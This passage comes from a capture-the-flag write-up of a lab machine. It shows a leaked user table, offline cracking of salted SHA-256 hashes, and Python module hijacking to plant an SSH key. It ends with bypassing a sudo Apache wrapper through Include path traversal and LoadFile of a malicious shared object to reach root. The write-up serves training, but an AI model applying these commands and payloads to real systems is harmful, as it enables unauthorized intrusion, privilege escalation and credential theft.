| 24 | GU0712023 | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a | Niel Slewcock | [email protected] | 1996-05-04 | 3784 East Schwartz Boulevard, Gainesville, Florida, United States, 32610 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 25 | GU1592025 | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 | Chryste Lamputt | [email protected] | 1993-05-22 | 6620 Anhinga Lane, Baton Rouge, Louisiana, United States, 70820 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 26 | GU1112023 | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d | Kiersten Rampley | [email protected] | 1997-06-28 | 9990 Brookdale Court, New York City, New York, United States, 10292 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 27 | GU6432025 | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 | Gradeigh Espada | [email protected] | 1999-06-06 | 5464 Lape Lane, Boise, Idaho, United States, 83757 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 28 | GU3042024 | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab | Susanne Myhill | [email protected] | 2003-04-12 | 11585 Homan Loop, Aiken, South Carolina, United States, 29805 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 29 | GU1482025 | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f | Prudi Sweatman | [email protected] | 1998-05-10 | 1533 Woodmill Terrace, Palo Alto, California, United States, 94302 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 30 | GU3102024 | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 | Kacey Qualtrough | [email protected] | 1996-03-09 | 14579 Ayala Way, Spokane, Washington, United States, 99252 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 31 | GU7232023 | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 | Thedrick Grimstead | [email protected] | 1998-05-20 | 13789 Castlegate Court, Salt Lake City, Utah, United States, 84130 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 32 | GU8912024 | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 | Dominik Clipsham | [email protected] | 1999-06-30 | 7955 Lock Street, Kansas City, Missouri, United States, 64160 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 33 | GU4752025 | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a | Iain Vinson | [email protected] | 1990-10-13 | 10384 Zeeland Terrace, Cleveland, Ohio, United States, 44105 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 34 | GU9602024 | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 | Ax Sweating | [email protected] | 1994-06-22 | 4518 Vision Court, Sarasota, Florida, United States, 34233 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 35 | GU4382025 | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 | Trixi Piolli | [email protected] | 2001-02-02 | 11634 Reid Road, Charleston, South Carolina, United States, 29424 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 36 | GU7352023 | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 | Ronni Fulton | [email protected] | 1998-11-07 | 4690 Currituck Terrace, Vero Beach, Florida, United States, 32964 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 37 | GU3042025 | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f | William Lidstone | [email protected] | 1998-03-18 | 11566 Summerchase Loop, Providence, Rhode Island, United States, 02905 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 38 | GU3872024 | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a | Viola Bridywater | [email protected] | 2003-07-21 | 9436 Erica Chambers Avenue, Bronx, New York, United States, 10454 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 39 | GU7462025 | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa | Glennie Crilly | [email protected] | 1995-01-26 | 3423 Carla Fink Court, Washington, District of Columbia, United States, 20580 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 40 | GU3902023 | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b | Ninnette Lenchenko | [email protected] | 1994-11-06 | 12277 Richey Road, Austin, Texas, United States, 78754 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 41 | GU1832025 | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f | Rivalee Coche | [email protected] | 1990-10-23 | 2999 Indigo Avenue, Washington, District of Columbia, United States, 20022 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 42 | GU3052024 | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f | Lodovico Atlay | [email protected] | 1992-04-16 | 5803 Clarendon Court, Little Rock, Arkansas, United States, 72231 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 43 | GU3612023 | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a | Maris Whyborne | [email protected] | 1999-08-07 | 435 Quaint Court, Staten Island, New York, United States, 10305 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 44 | GU7022023 | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 | Diahann Forber | [email protected] | 1998-12-17 | 10094 Ely Circle, New Haven, Connecticut, United States, 06533 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 45 | GU1712025 | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 | Sinclair Tierney | [email protected] | 1999-11-04 | 2885 Columbia Way, Seattle, Washington, United States, 98127 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 46 | GU9362023 | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 | Leela Headon | [email protected] | 1992-10-24 | 14477 Donelin Circle, El Paso, Texas, United States, 88589 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 47 | GU5092024 | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 | Egon Jaques | [email protected] | 1995-04-19 | 12886 Chimborazo Way, Fort Lauderdale, Florida, United States, 33315 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 48 | GU5252023 | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa | Meade Newborn | [email protected] | 2003-09-02 | 3679 Inman Mills Road, Orlando, Florida, United States, 32859 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 49 | GU8802025 | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 | Tadeo Sproson | [email protected] | 2002-08-01 | 4293 Tim Terrace, Springfield, Illinois, United States, 62776 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 50 | GU2222023 | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd | Delia Theriot | [email protected] | 2001-07-15 | 5847 Beechwood Avenue, Chattanooga, Tennessee, United States, 37450 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 51 | GU9802023 | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c | Ransell Dourin | [email protected] | 1995-01-04 | 1809 Weaton Court, Chattanooga, Tennessee, United States, 37410 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 52 | GU3122025 | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a | Franklyn Kuhndel | [email protected] | 1991-06-05 | 11809 Mccook Street, Shawnee Mission, Kansas, United States, 66210 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 53 | GU2062025 | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 | Petronille Scroggins | [email protected] | 2001-06-16 | 11794 Byron Place, Des Moines, Iowa, United States, 50981 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 54 | GU3992025 | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 | Kittie Maplesden | [email protected] | 2001-10-04 | 6212 Matisse Avenue, Palatine, Illinois, United States, 60078 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 55 | GU1662024 | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 | Gherardo Godon | [email protected] | 2002-04-17 | 9997 De Hoyos Place, Simi Valley, California, United States, 93094 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 56 | GU9972025 | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 | Kippar Surpliss | [email protected] | 1990-08-10 | 5372 Gentle Terrace, San Francisco, California, United States, 94110 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 57 | GU6822025 | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 | Sigvard Reubens | [email protected] | 2003-04-23 | 5711 Magana Place, Memphis, Tennessee, United States, 38104 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 58 | GU7912023 | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 | Carly Buckler | [email protected] | 1991-09-07 | 2298 Hood Place, Springfield, Massachusetts, United States, 01105 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 59 | GU3622024 | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf | Maryjo Gration | [email protected] | 1997-04-25 | 1998 Junction Place, Irvine, California, United States, 92619 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 60 | GU2002023 | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 | Paulina Mainwaring | [email protected] | 1993-05-04 | 11891 Markridge Loop, Olympia, Washington, United States, 98506 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 61 | GU3052023 | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 | Curran Foynes | [email protected] | 2000-12-04 | 7021 Cordelia Place, Paterson, New Jersey, United States, 07505 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
| 62 | GU1462023 | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 | Cissy Styan | [email protected] | 1991-01-10 | 1138 Salinas Avenue, Orlando, Florida, United States, 32854 | student | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
62 rows in set (0.00 sec)Hashes match the SHA-256 + static salt scheme we saw earlier (hash('sha256', $password . $salt)). With salt already leaked (8Sb)tM1vs1SS), cracking offline is trivial.
Hashes Cracking
The portal hashes follow the scheme:
password_hash = sha256( password + '8Sb)tM1vs1SS' )So for Hashcat that's mode 1410 (sha256($pass.$salt)).
Pull them out with usernames and salt:
mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' -D guardiandb -N \
-e "SELECT CONCAT(username,':',password_hash,':','8Sb)tM1vs1SS') FROM users;" \
> hashes_users_salt.txt
Focus on higher-value accounts, filter out noise (username), and prep a clean list as chosen_hashes. Run against rockyou.txt:
hashcat -m 1410 -a 0 chosen_hashes.txt path/to/rockyou.txt -O -w 3Result:
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))User jamil.enockson fell to a weak password — copperhouse56.
Now pivot to the system via SSH with the found credentials:

User flag captured.
ROOT
Enum
Local enumeration paints a clear map of targets and privilege paths.
Home Directories:
l@guardian:~$ ls /home
gitea jamil mark sammWhile samm is the "lecturer" bot and gitea the the repo initiator, we attempt to target mark as the next move.
LinPEAS
Run LinPEAS to collect internal information:
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root 1377 0.0 0.9 259884 38192 ? Ss Aug31 0:01 /usr/sbin/apache2 -k start
www-data 6119 0.0 0.2 76044 11520 ? S 00:00 0:00 _ /usr/sbin/apache2 -k start
www-data 6120 0.0 0.4 260844 19668 ? S 00:00 0:00 _ /usr/sbin/apache2 -k start
www-data 6122 0.0 0.4 260844 19668 ? S 00:00 0:00 _ /usr/sbin/apache2 -k start
www-data 6123 0.0 0.4 260984 19608 ? S 00:00 0:00 _ /usr/sbin/apache2 -k start
www-data 6124 0.0 0.4 260844 19640 ? S 00:00 0:00 _ /usr/sbin/apache2 -k start
www-data 8468 0.0 0.4 260976 19596 ? S 01:36 0:00 _ /usr/sbin/apache2 -k start
www-data 8469 0.0 0.4 260940 19596 ? S 01:36 0:00 _ /usr/sbin/apache2 -k start
www-data 8470 0.0 0.4 260844 19488 ? S 01:36 0:00 _ /usr/sbin/apache2 -k start
www-data 8474 0.0 0.4 260976 19640 ? S 01:36 0:00 _ /usr/sbin/apache2 -k start
www-data 12560 0.0 0.4 260996 19232 ? S 03:29 0:00 _ /usr/sbin/apache2 -k start
www-data 12561 0.0 0.4 260856 19312 ? S 03:29 0:00 _ /usr/sbin/apache2 -k start
root 8589 0.0 0.2 239660 8792 ? Ssl 01:37 0:00 /usr/libexec/upowerd
jamil 15343 0.0 0.2 17112 9396 ? Ss 05:15 0:00 /lib/systemd/systemd --user
jamil 15344 0.0 0.0 169804 3936 ? S 05:15 0:00 _ (sd-pam)
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
╔══════════╣ Users with console
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
root:x:0:0:root:/root:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group admins:
/opt/scripts/utilities/output
/opt/scripts/utilities/utils/status.pySudo
Check sudo -l:
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.pyKey finding: user jamil can run /opt/scripts/utilities/utilities.py as mark without a password.
That means the escalation path into mark is immediate—the next pivot in the privilege chain.
Python Module Hijacking
Mechanism
During group enumeration we noted that jamil sits in the admins group, which has write rights over:
/opt/scripts/utilities/output
/opt/scripts/utilities/utils/status.pyThe file tree confirms ownership:
jamil@guardian:~$ ll -aR /opt/scripts/utilities/
/opt/scripts/utilities/:
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ./
drwxr-xr-x 3 root root 4096 Jul 12 15:10 ../
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output/
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py*
drwxrwsr-x 2 root root 4096 Jul 10 14:20 utils/
/opt/scripts/utilities/output:
total 8
drwxrws--- 2 mark admins 4096 Jul 10 13:53 ./
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ../
/opt/scripts/utilities/utils:
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 ./
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ../
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 09:45 status.py*status.py is a benign utility:
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")Meanwhile, utilities.py—our sudo target as mark—loads it unconditionally:
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()This is a simple dispatcher. We can run it with action system-status to trigger the target import:
jamil@guardian:/opt/scripts/utilities$ python3 utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 100.0 %
Memory usage: 34.2 %That means: any code inside status.py executes before action checks fire. So when sudo -u mark invokes utilities.py, we hijack execution context as mark.
Exploit
Therefore, we can hijack the system_status() function inside status.py for arbitrary code execution as Mark.
For stealthy, forge SSH keypair for persistence:
ssh-keygen -t ed25519 -f ~/mark_key -C "axura@guardian" -N ""Result:
jamil@guardian:~$ ls ~
linpeas.sh mark_key mark_key.pub pspy64 status.py.bak user.txt
jamil@guardian:~$ chmod 600 ~/mark_key
jamil@guardian:~$ cat ~/mark_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDgbaaSUaDNspenzeAEgcgR9793oa4wSfiLpP9ntM1QT axura@guardianNext, overwrite the writable status.py module with a payload that drops our pubkey into /home/mark/.ssh/authorized_keys:
cat > /opt/scripts/utilities/utils/status.py <<'PY'
import os, shutil, pwd
def system_status():
# hijack
import os
p="/home/mark/.ssh"; ak=p+"/authorized_keys"
os.makedirs(p, exist_ok=True)
# replace public key here
key="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDgbaaSUaDNspenzeAEgcgR9793oa4wSfiLpP9ntM1QT axura@guardian\n"
with open(ak,"a") as f: f.write(key)
os.chmod(p,0o700); os.chmod(ak,0o600)
PYAfter overwriting the original one, we run the toolkit as mark via sudo to immediately trigger import-time payload:
sudo -u mark /opt/scripts/utilities/utilities.py system-statusNow we can login as mark with the private key:
ssh -i ~/mark_key mark@localhost
We hijacked the import path to escalate into the mark account.
Apache2ctl
Enumerating mark's privileges:
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
mark@guardian:~$ file /usr/local/bin/safeapache2ctl
/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped
mark@guardian:~$ sudo safeapache2ctl -h
Usage: safeapache2ctl -f /home/mark/confs/file.confmark can execute safeapache2ctl as root. It accepts a single argument in the shape:
safeapache2ctl -f /home/mark/confs/file.confBeside, it's an not-stripped binary—easy to reverse.
Reversing
Exfiltrate the binary, crack it open. It's a thin wrapper atop apache2ctl.
main
Inline commentary tells the tale:
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+18h] [rbp-1418h]
char s[1024]; // [rsp+20h] [rbp-1410h] BYREF
char resolved[16]; // [rsp+420h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1428h] [rbp-8h]
v7 = __readfsqword(0x28u);
// Requires exactly: safeapache2ctl -f <path>
if ( argc == 3 && !strcmp(argv[1], "-f") )
{
// [!] Canonicalizes the top-level config path (eliminates symlinks/..)
if ( realpath(argv[2], resolved) )
{
// Ensures resolved starts with "/home/mark/confs/"
if ( (unsigned int)starts_with(resolved, "/home/mark/confs/") )
{
stream = fopen(resolved, "r");
if ( stream )
{
// Opens that file and scans it line by line
while ( fgets(s, 1024, stream) )
{
// [!] Check path
if ( (unsigned int)is_unsafe_line(s) )
{
fwrite("Blocked: Config includes unsafe directive.\n", 1u, 0x2Bu, stderr);
fclose(stream);
return 1;
}
}
fclose(stream);
execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, 0);
perror("execl failed");
return 1;
}
else
{
perror("fopen");
return 1;
}
}
else
{
fprintf(stderr, "Access denied: config must be inside %s\n", "/home/mark/confs/");
return 1;
}
}
else
{
perror("realpath");
return 1;
}
}
else
{
fprintf(stderr, "Usage: %s -f /home/mark/confs/file.conf\n", *argv);
return 1;
}
}A single choke-point: it realpath()-hardens only the top-level config path, then—if every line “looks safe”—executes:
execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, 0);No symlink or .. trickery survives at this level. So a path like:
/home/mark/confs/../../../root/root.txtdies on entry.
But it's only applied to the top-level config path (the argument passed after -f). The weak link is the line validator—the file content will be parsed via is_unsafe_line, which exposes vulnerability.
is_unsafe_line
The gatekeeper is_unsafe_line tries to block dangerous Apache directives, but its logic is (a) too narrow and (b) non-canonical:
__int64 __fastcall is_unsafe_line(__int64 a1)
{
char s1[32]; // directive
char v3[16]; // target path
unsigned __int64 v4; // [rsp+1038h] [rbp-8h]
v4 = __readfsqword(0x28u);
// if not 2 tokens, returns safe
if ( (unsigned int)__isoc99_sscanf(a1, "%31s %1023s", s1, v3) != 2 )
return 0;
// block only if ALL of the following are true:
// 1) directive is Include / IncludeOptional / LoadModule
// 2) arg is an absolute path (starts with '/')
// 3) arg does NOT start with "/home/mark/confs/"
if ( strcmp(s1, "Include") && strcmp(s1, "IncludeOptional") && strcmp(s1, "LoadModule")
|| v3[0] != '/' // absolute path
|| (unsigned int)starts_with(v3, "/home/mark/confs/") )
{
return 0; // everything else considered safe
}
fprintf(stderr, "[!] Blocked: %s is outside of %s\n", v3, "/home/mark/confs/");
return 1; // UNSAFE -> block
}- Only three directives are policed. Everything else (
ErrorLog,CustomLog,PidFile,Listen,<VirtualHost>, …) is never inspected. - For those three, the path is checked by string prefix only. There is no
realpath()on the argument;..traversal is not normalized here.
Critically, realpath() guards only the top-level -f file; any Include target is validated by brittle string prefix alone. That invites a traversal bypass:
Include /home/mark/confs/../../../root/root.txtThe prefix matches; no canonicalization occurs; the include escapes the cage. Next step: dissect how apache2ctl consumes these directives and turn that crack into root.
Exploit
Apache2ctl 101
Execution flow on this host:
safeapache2ctl (SUID root helper)
↳ execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, NULL)
↳ /usr/sbin/apache2ctl (shell script wrapper)
↳ exec /usr/sbin/apache2 -f <resolved>apachectl/apache2ctl isn't the HTTP server itself; it's a convenience wrapper over apache2/httpd for lifecycle ops (start/stop/test). On this box:
mark@guardian:~$ file /usr/sbin/apache2ctl
/usr/sbin/apache2ctl: POSIX shell script, ASCII text executable
mark@guardian:~$ cat /usr/sbin/apache2ctl
#!/bin/sh
# Apache control script ... heavily modified for Debian
...Usage confirms the contract:
mark@guardian:~$ /usr/sbin/apache2ctl -h
Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file]
[-C "directive"] [-c "directive"]
[-k start|restart|graceful|graceful-stop|stop]
[-v] [-V] [-h] [-l] [-L] [-t] [-T] [-S] [-X]
Options:
-D name : define a name for use in <IfDefine name> directives
-d directory : specify an alternate initial ServerRoot
-f file : specify an alternate ServerConfigFile
...Crucial detail: invoking
apache2ctl -f /home/mark/confs/file.confApache is directive-driven; configs are executable instructions, not passive data:
Listen 80
ServerRoot "/etc/apache2"
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
Include sites-enabled/*.conf
ErrorLog /var/log/apache2/error.logOn start or reload, Apache walks every directive—binding sockets, loading modules, setting policy. In our context, a single crafted config becomes the fulcrum for code loading, includes, and path traversal—our lever for the final privilege play.
Exp.1 Path Traversing
With full control over Apache's runtime config, we can weaponize the wrapper's blind spots.
We reversed the binary. The checks are:
realpath()is applied only to the top-level-ffile, enforcing/home/mark/confs/as the root.- Line scanner blocks just three directives when their second token is an absolute path outside
/home/mark/confs/:IncludeIncludeOptionalLoadModule
- Those same directives are allowed if the argument starts with
/home/mark/confs/.
Includeinstructs Apache to parse another file as if it were inlined—config composition on demand.
Theoretically, Include an absolute /root path fails:

However, included paths are not canonicalized. So a traversal like:
/home/mark/confs/../../../root/root.txtslips past the prefix check yet resolves to /root/root.txt at parse time.
Therefore, Craft a minimal config within the allowed directory:
cat > /home/mark/confs/pwn.conf <<'EOF'
ServerRoot "/etc/apache2"
PidFile "/var/run/apache2/apache2.pid"
Listen 31337
# Load a core MPM so apache is happy to start parsing
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
# [!] Prefix-validated Include with traversal payload
Include /home/mark/confs/../../../root/root.txt
EOFExecute via the privileged helper:
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwn.confWhat happens then:
- Apache resolves the path to
/root/root.txt. - It reads it as if it's Apache configuration.
- The flag is not a valid directive; Apache echoes it in the error output—exfiltration by parser reflection.

Root flag leaked.
Swap the target to spill sensitive records as well (e.g., root's hash):
root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::As we mentioned, the custom wrapper safeapache2ctl had a very narrow guard, which ignores others exploitable ones, such as LoadFile.
Unlike LoadModule (but we can still use it according to the previous primitive, by placing the malicious library under "/home/mark/conf"), which loads an Apache-specific .so module, LoadFile is a much more primitive beast.
LoadFile /absolute/path/to/lib.so- Behavior: Apache calls
dlopen()on that path before continuing startup. - Purpose: originally, it let admins pre-load system libraries (like
libxml2.so) that third-party modules might depend on. - Gotcha: Apache doesn't check what the library does on load. For a classic malicious
.so, when we plant a constructor function (__attribute__((constructor))in C), that code executes immediately as root.
So effectively: LoadFile = run arbitrary root code hidden in a shared object.
First, put a malicious library libpwn.so in a world-readable location (e.g., /tmp/libpwn.so). I've parked my preferred variant in this repository from a recent engagement; compile it directly on-target to produce a shared object:
gcc -shared -fPIC -o /tmp/libpwn.so libpwn.cCraft a minimal config inside the allowed cage:
cat > /home/mark/confs/libpwn.conf <<'EOF'
ServerRoot "/etc/apache2"
PidFile "/var/run/apache2/apache2.pid"
Listen 31340
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
# [!] Malicious library planted
LoadFile /tmp/libpwn.so
ErrorLog /dev/stdout
EOFTrigger with the privileged wrapper:
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/libpwn.confApache spawns → parses our config → sees LoadFile → dlopen("/tmp/libpwn.so"):

Rooted.

Comments | NOTHING